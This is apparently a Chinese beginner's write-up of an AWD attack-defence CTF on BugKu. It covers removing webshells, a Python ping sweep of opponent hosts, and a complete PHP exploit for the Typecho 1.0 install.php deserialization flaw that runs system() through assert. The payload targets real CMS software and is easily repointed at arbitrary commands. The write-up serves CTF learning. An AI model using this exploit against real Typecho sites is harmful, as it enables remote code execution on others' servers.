写在前面
承诺今年会从0开始打一个AWD,作为一个这方面的小白,首先我和一个大佬请教了一下,所以这里先感谢BUGKU里面的Anyyy师傅对我询问的耐心讲解,在比赛过程中,也解答了我的很多问题,所以如果有人和我一样,也想从0开始的话,可以私信我,一起打,一起学习,一起进步。
连接服务器
这里我就简单的带过一下,就是在登录界面拿已经给好的用户名密码连接一下就行了,没啥技术含量。
下载源码,查杀后门
这一步就比较关键了,来接上服务器后需要把源码下载下来,然后使用D盾或者其他工具查杀一下后门,这里我使用的是一个在线工具河马,下载的时候可以使用filezilla等工具也可以,我是搞了半天没搞明白,直接用的finalshell。
出结果之后,都需要进去看看,如果直接就是木马文件的话,就直接删除,不用犹豫,如果写到了比较重要的文件的话,就需要在文件内把语句删除。
展开攻击
首先是可以通过自己的80端口来访问web服务的,大家都是差不多的,也就是说你也可以访问别人的web服务,那么就需要知道对方的ip地址。我这里是直接写了一个python脚本用的ping,也可以使用request来访问看看响应状态码是否是200。
判断对手地址
使用脚本来判断对手的地址。
import os
os.system('chcp 65001') # 将cmd的显示字符编码从默认的GBK改为UTF-8
for num in range(0, 255):
cmd = "ping" + " 192-168-1-" + str(num) + ".pvp1964.bugku.cn"
res = os.system(cmd)
第一个只是简单的操作,这个文章我是分两天写的,第二天我有重新写了一个脚本,这个的返回结果和执行速度都更好一些,因为这里用了线程池,但是需要安装第三方的库
import pythonping
from concurrent.futures import ThreadPoolExecutor
def get_ip(ip):
res = pythonping.ping(ip)
if "Reply" in str(res):
print(ip + " 是存活地址")
ip = []
for num in range(1, 255):
ip.append("192-168-1-" + str(num) + ".pvp1964.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
result = executor.map(get_ip, ip)
查找漏洞
我们通过80端口访问自己的网站,通过chrome插件来判断cms,当然也可以通过别的方式,判断方式有很多,这里我们通过判断发现是typecho博客,且版本是1.0。
利用漏洞
发现这个cms之后,我们就要去网上查找一下是否存在相关漏洞了,我查了一下,发现存在反序列化漏洞,相关文章链接,看了文章之后是通过install.php这个文件利用的,所以我首先做的就是把自己的这个文件给删除掉,避免别人利用,这里就是已经删除了该文件。
其次我们就是利用漏洞
全局查找flag文件
读取flag文件
最后,附上该漏洞的payload,还有很多骚操作,大家可以尝试
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct() {
$this->_type = $this::RSS2;
#$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = 'system("find / -name flag")'; //此处修改需要执行的代码
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>